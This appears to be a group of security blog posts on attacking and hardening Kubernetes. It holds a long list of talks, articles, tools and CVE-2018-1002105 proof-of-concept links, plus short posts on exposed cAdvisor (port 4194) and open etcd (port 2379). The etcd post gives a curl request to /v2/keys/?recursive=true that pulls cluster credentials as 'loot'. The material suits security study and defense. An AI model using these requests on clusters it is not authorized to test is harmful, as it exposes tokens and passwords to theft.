I have a few Kubernetes posts queued up and will make this the master post to index and give references for the topic. If i'm missing blog posts or useful resources ping me here or twitter. Talks you should watch if you are interested in Kubernetes: Hacking and Hardening Kubernetes Clusters by Example [I] - Brad Geesaman https://www.youtube.com/watch?v=vTgQLzeBfRU https://github.com/bgeesaman/ https://github.com/bgeesaman/hhkbe [demos for the talk above] https://schd.ws/hosted_files/kccncna17/d8/Hacking%20and%20Hardening%20Kubernetes%20By%20Example%20v2.pdf [slide deck] Perfect Storm Taking the Helm of Kubernetes Ian Coldwater https://www.youtube.com/watch?v=1k-GIDXgfLw A Hacker's Guide to Kubernetes and the Cloud - Rory McCune https://www.youtube.com/watch?v=dxKpCO2dAy8 Shipping in Pirate-Infested Waters: Practical Attack and Defense in Kubernetes https://www.youtube.com/watch?v=ohTq0no0ZVU https://techbeacon.com/hackers-guide-kubernetes-security https://elweb.co/the-security-footgun-in-etcd/ https://www.4armed.com/blog/hacking-kubelet-on-gke/ https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/ https://www.4armed.com/blog/hacking-digitalocean-kubernetes/ https://github.com/freach/kubernetes-security-best-practice https://neuvector.com/container-security/kubernetes-security-guide/ https://medium.com/@pczarkowski/the-kubernetes-api-call-is-coming-from-inside-the-cluster-f1a115bd2066 https://blog.intothesymmetry.com/2018/12/persistent-xsrf-on-kubernetes-dashboard.html https://raesene.github.io/blog/2016/10/14/Kubernetes-Attack-Surface-cAdvisor/ https://raesene.github.io/blog/2017/05/01/Kubernetes-Security-etcd/ https://raesene.github.io/blog/2017/04/02/Kubernetes-Service-Tokens/ https://www.cyberark.com/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions/ https://labs.mwrinfosecurity.com/blog/attacking-kubernetes-through-kubelet/ https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/ https://github.com/Shopify/kubeaudit https://github.com/aquasecurity/kube-bench https://github.com/aquasecurity/kube-hunter https://blog.appsecco.com/analysing-and-exploiting-kubernetes-apiserver-vulnerability-cve-2018-1002105-3150d97b24bb https://gravitational.com/blog/kubernetes-websocket-upgrade-security-vulnerability/ https://github.com/gravitational/cve-2018-1002105 https://github.com/evict/poc_CVE-2018-1002105 http://carnal0wnage.attackresearch.com/2019/01/kubernetes-open-etcd.html http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kube-hunterpy-etcd.html http://carnal0wnage.attackresearch.com/2019/01/kubernetes-cadvisor.html https://carnal0wnage.attackresearch.com/2019/01/kubernetes-list-of-ports.html http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kubernetes-dashboard.html ttps://carnal0wnage.attackresearch.com/2019/01/kubernetes-kube-hunter-10255.html http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kubelet-api-containerlogs.html https://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250.html https://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250_16.html Cloud Metadata Urls and Kubernetes -I'll update as they get posted
"cAdvisor (Container Advisor) provides container users an understanding of the resource usage and performance characteristics of their running containers. It is a running daemon that collects, aggregates, processes, and exports information about running containers." runs on port 4194 Links: https://kubernetes.io/docs/tasks/debug-application-cluster/resource-usage-monitoring/ https://raesene.github.io/blog/2016/10/14/Kubernetes-Attack-Surface-cAdvisor/ http://1.2.3.4:4194/api/v2.0/spec?recursive=true
Quick post on Kubernetes and open etcd (port 2379) "etcd is a distributed key-value store. In fact, etcd is the primary datastore of Kubernetes; storing and replicating all Kubernetes cluster state. As a critical component of a Kubernetes cluster having a reliable automated approach to its configuration and management is imperative." -from: https://coreos.com/blog/introducing-the-etcd-operator.html What this means in english is that etcd stores the current state of the Kubernetes cluster usually including the kubernetes tokens and passwords. If you check out the following references you can get a sense for the pain level that could potentially be involved. At minimum you can get network info or running pods and at best credentials. refs: https://techbeacon.com/hackers-guide-kubernetes-security https://elweb.co/the-security-footgun-in-etcd/ https://raesene.github.io/blog/2017/05/01/Kubernetes-Security-etcd/ the second link talks extensively around types of info the found when they hit all the shodan endpoints for 2379 and did some analysis on the results. If you manage to find open etcd the easiest way to check for creds is to just do a curl request for: GET http://ip_address:2379/v2/keys/?recursive=true Example Loot - Usually it's boring stuff like this: But occasionally you'll get more interesting things like: or more fun things like kublet tokens:
You can subscribe to this RSS to get more information